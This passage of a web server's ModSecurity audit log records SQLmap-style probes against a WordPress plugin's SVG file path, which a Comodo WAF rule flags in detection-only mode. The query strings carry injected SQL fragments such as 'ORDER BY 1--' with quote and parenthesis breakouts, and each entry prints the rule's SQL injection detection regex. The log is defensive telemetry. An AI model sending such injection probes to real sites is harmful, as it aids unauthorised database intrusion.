cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --03b68c71-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --03b68c71-E-- --03b68c71-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: order by 1-- vptz found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687) order by 1-- vptz"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: order by 1-- vptz found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687) order by 1-- vptz"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE880se_3eHPNozq0G0OsgAAAAU"] Stopwatch: 1750023378944020 5196 (- - -) Stopwatch2: 1750023378944020 5196; combined=3119, p1=417, p2=2515, p3=65, p4=28, p5=94, sr=113, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --03b68c71-Z-- --ec3de66d-A-- [16/Jun/2025:03:06:19.448894 +0530] aE8800NwpNEMJppxC49RggAAAAI 172.71.250.160 60442 127.0.0.1 7081 --ec3de66d-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%29%20ORDER%20BY%208774--%20SPlI HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.250.160 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950533c7aad8ae5f-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --ec3de66d-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --ec3de66d-E-- --ec3de66d-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: order by 8774-- spli found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687) order by 8774-- spli"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: order by 8774-- spli found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687) order by 8774-- spli"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE8800NwpNEMJppxC49RggAAAAI"] Stopwatch: 1750023379443936 5051 (- - -) Stopwatch2: 1750023379443936 5051; combined=2911, p1=423, p2=2350, p3=36, p4=24, p5=78, sr=107, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ec3de66d-Z-- --8e356c17-A-- [16/Jun/2025:03:06:19.722348 +0530] aE880wiLzf5Jb_3uGhHfiQAAAAA 172.70.248.78 60466 127.0.0.1 7081 --8e356c17-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%20ORDER%20BY%201--%20wcwW HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.70.248.78 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950533cacc21a055-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --8e356c17-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --8e356c17-E-- --8e356c17-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: order by 1-- wcww found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687 order by 1-- wcww"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: order by 1-- wcww found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687 order by 1-- wcww"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE880wiLzf5Jb_3uGhHfiQAAAAA"] Stopwatch: 1750023379718102 4328 (- - -) Stopwatch2: 1750023379718102 4328; combined=2528, p1=378, p2=2026, p3=31, p4=20, p5=73, sr=92, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8e356c17-Z-- --c8fc227c-A-- [16/Jun/2025:03:06:20.221184 +0530] aE881IrLgrklqy57Kk2b4QAAAAg 162.158.86.98 60534 127.0.0.1 7081 --c8fc227c-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%20ORDER%20BY%204924--%20uCCQ HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.86.98 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950533cc7ae7d348-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --c8fc227c-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --c8fc227c-E-- --c8fc227c-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: order by 4924-- uccq found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687 order by 4924-- uccq"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: order by 4924-- uccq found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687 order by 4924-- uccq"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE881IrLgrklqy57Kk2b4QAAAAg"] Stopwatch: 1750023380217172 4102 (- - -) Stopwatch2: 1750023380217172 4102; combined=2443, p1=286, p2=2021, p3=41, p4=22, p5=72, sr=74, sw=1, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c8fc227c-Z-- --e4cb2f5e-A-- [16/Jun/2025:03:06:20.716490 +0530] aE881B-kH31pk4mNbsU-wwAAAAo 172.71.144.16 60568 127.0.0.1 7081 --e4cb2f5e-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%20ORDER%20BY%201--%20RnRO HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.144.16 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950533cf99013556-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --e4cb2f5e-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --e4cb2f5e-E-- --e4cb2f5e-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: order by 1-- rnro found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687 order by 1-- rnro"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: order by 1-- rnro found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687 order by 1-- rnro"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE881B-kH31pk4mNbsU-wwAAAAo"] Stopwatch: 1750023380712200 4373 (- - -) Stopwatch2: 1750023380712200 4373; combined=2589, p1=366, p2=2081, p3=34, p4=21, p5=87, sr=93, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e4cb2f5e-Z-- --9948dc01-A-- [16/Jun/2025:03:06:21.214313 +0530] aE881XZqyQ8YfVGvJU7YWgAAAAY 172.70.240.113 60612 127.0.0.1 7081 --9948dc01-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%20ORDER%20BY%207851--%20SNma HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.70.240.113 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950533d2bf29d286-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --9948dc01-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --9948dc01-E-- --9948dc01-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: order by 7851-- snma found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687 order by 7851-- snma"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: order by 7851-- snma found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687 order by 7851-- snma"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE881XZqyQ8YfVGvJU7YWgAAAAY"] Stopwatch: 1750023381209750 4655 (- - -) Stopwatch2: 1750023381209750 4655; combined=2814, p1=379, p2=2304, p3=32, p4=23, p5=76, sr=117, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9948dc01-Z-- --490b482f-A-- [16/Jun/2025:03:06:21.709559 +0530] aE881VGNm2a2ZAngdHCtmAAAAAc 172.71.172.55 60650 127.0.0.1 7081 --490b482f-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%27%29%20ORDER%20BY%201--%20RjiB HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.172.55 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950533d5c99fd35c-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --490b482f-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --490b482f-E-- --490b482f-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: order by 1-- rjib found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687') order by 1-- rjib"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: order by 1-- rjib found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687') order by 1-- rjib"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE881VGNm2a2ZAngdHCtmAAAAAc"] Stopwatch: 1750023381704371 5272 (- - -) Stopwatch2: 1750023381704371 5272; combined=3420, p1=324, p2=2963, p3=30, p4=27, p5=76, sr=86, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --490b482f-Z-- --054cfa44-A-- [16/Jun/2025:03:06:22.224739 +0530] aE881se_3eHPNozq0G0OtQAAAAU 172.71.144.118 60686 127.0.0.1 7081 --054cfa44-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%27%29%20ORDER%20BY%205908--%20sJRa HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.144.118 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950533d8eaae2baf-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --054cfa44-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --054cfa44-E-- --054cfa44-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: order by 5908-- sjra found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687') order by 5908-- sjra"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file 